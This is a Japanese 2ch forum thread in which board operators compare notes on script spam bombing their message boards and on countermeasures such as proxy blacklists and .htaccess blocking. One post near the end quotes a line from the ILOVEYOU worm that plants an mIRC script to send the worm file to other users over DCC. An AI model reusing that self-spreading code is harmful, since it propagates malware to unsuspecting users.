最近、英文とアドレスを大量に並べた投稿を繰り返す
スクリプト荒しに遭っている掲示板を見かけることが急に増えました。
しかも、今も投稿が行われているようです。
投稿内容に一貫性があるので、同一犯による荒しかもしれません。
このスレは、情報交換をして対策の手がかりを探るスレです。
2 :
名無しさん@お腹いっぱい。:2006/05/23(火) 16:34:08
クソスレ立てるな死ね
・被害に遭っている掲示板は今もリアルタイムで
投稿され続けています。
・被害に遭っている掲示板には一貫性が無く、
中には閉鎖によってリンクがされていない掲示板もあり、
無差別爆撃しているようにも見えます。
4 :
名無しさん@お腹いっぱい。:2006/05/23(火) 17:19:17
漏れが調べたケースはコロンビアのIPだったな
たぶんプロクシ経由だと思うが
板違い
殺伐としているな。
まぁ、コレでも見て和んでくれ。ナウシカだそうだ。俺は和んだ。
/ ̄ ̄\
i/ ̄\_
L_Y_|]_」_ ____
|・ ・ | | \ | |
| < | | \|_|__ |
| ▽ 人丿/ / ∪
○\_/ ○=、
||_____|| ||_________∧
________________/
7 :
名無しさん@お腹いっぱい。:2006/05/25(木) 04:43:10
和んだyo
ログを見ると全部プロキシっぽいな。
DSBLやBBQのようなブラックリストで弾くしかないだろ。
9 :
名無しさん@お腹いっぱい。:2006/06/02(金) 18:23:40
age
>>6 まさか生活板のAAをここで見ることになるとは・・・
11 :
名無しさん@お腹いっぱい。:2006/06/24(土) 11:47:23
うちも最近こまってます。
BBQではじいいても投稿は減ったものの
いまだに抜けてくるのもあるんで、結構生IPでも来てると思います。
もう諦めて自力で消してます。。。。
掲示板のURLを少しだけ変えてみるとかしてもだめかな?
14 :
名無しさん@お腹いっぱい。:2007/02/09(金) 09:06:13
これ踏むと飛ばされるけど何?
スパム如きでイチイチガタガタ騒ぐな糞初心者
16 :
名無しさん@お腹いっぱい。:2007/02/11(日) 16:24:01
自分ところもhost5.servers.highway.ruというホストから大量投稿があって
htaccessで拒否ったんですが、未だに投稿されてます。
何でアクセス出来るんだろか…。
板違い
JP以外弾けばいいだけだろ
19 :
名無しさん@お腹いっぱい。:2007/02/11(日) 22:08:38
いや、何でアクセスが出来たのか議論したい
何でって?
認証制(パスワード制)か、クローラー対策でもしてなきゃ発見されてアクセスされるだろ
リンクを勝手に辿っていくか、何かのキーワードで探し当ててるんじゃないのか?
21 :
名無しさん@お腹いっぱい。:2007/02/12(月) 00:23:10
htaccessでホスト拒否ってるのに同じホストでやって来るんだよ。
htaccessをすりぬける方法があるんかね?
.htaccess設定かホスト名ミスってるとか。
ホストではなくIPアドレスで拒否してみた?
他の方法、例えば、掲示板の拒否機能で弾けるか確かめてみればいい
【RSA Conference 2007】スパマーを追跡---インドから正体不明の薬が届くまで
http://itpro.nikkeibp.co.jp/article/NEWS/20070210/261742/ 迷惑メールを送りつけてくるスパマーとはどんな連中なのか。まずは敵の正体を知るべきだ---。そう語るのは,米国のセキュリティ・ベンダー IronPort SystemsのPatrick Peterson副社長。
Peterson氏は「RSA Conference 2007」で,200億通のスパムを分析した結果を披露した。
スパムの80%は新鮮なゾンビから
まず,スパム・メールを送信していたのは,全世界で10万台以上に上るゾンビ・パソコン(トロイの木馬に感染したパソコン)。ここから数百億通のスパムが送られてくる。
ただし,スパムを送ってくるゾンビPCには,ある特徴があるという。それは「80%のスパムは,30日以内にゾンビになった『新鮮な』パソコンから送られてくる」(Peterson氏)ということだ。
これには理由がある。「最近になってブロードバンドが普及した地域では,ブロードバンドに接続しているパソコンが非常にぜい弱だ。
ウイルス対策ソフトやパーソナル・ファイアウオールの利用率や,ユーザーの意識が低いからだ。
こういった,新入りのブロードバンド・ユーザーのパソコンがゾンビになって,スパムを送るのだ」(Peterson氏)
24 :
名無しさん@お腹いっぱい。:2007/02/13(火) 21:44:39
>>22 .ruのみで拒否ってもカキコしてきやがる…
もうわけわかんない><
うちの掲示板IP取得出来ないの…
25 :
名無しさん@お腹いっぱい。:2007/02/16(金) 19:03:35
そういや、2ちゃんってこれ系統宣伝はほとんど見ないな。。。
26 :
名無しさん@お腹いっぱい。:2007/02/16(金) 19:53:26
test
27 :
名無しさん@お腹いっぱい。:2007/02/16(金) 19:54:16
>>25 PROXY経由の投稿を拒否ってるからじゃね?
28 :
名無しさん@お腹いっぱい。:2008/07/19(土) 10:16:40
>>25 最近は運営に爆撃多いな。
そのつど個別に焼いてるみたいだ。
メール欄のアドレスでググると過疎板にも、、、水道管?かなんかその方面の板で見た。
専ブラで透明あぼーん設定してるが、たまに関係ないレスが
引っかかって困ることもある。
掲示板を示すb○○とかread.c○○とかの文字列を見つけるツールがあるらしい。
自分とこのログをみるとこの荒らしグループはプロジェクトとか言ってる。
プロクシやメルアドを次はどこどこで手に入れるとかもな。
互いに簡単な欧米のファーストネイムのHNを使って呼び合っているようだ。
29 :
名無しさん@お腹いっぱい。:2010/02/18(木) 23:23:38
age
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
見かけないな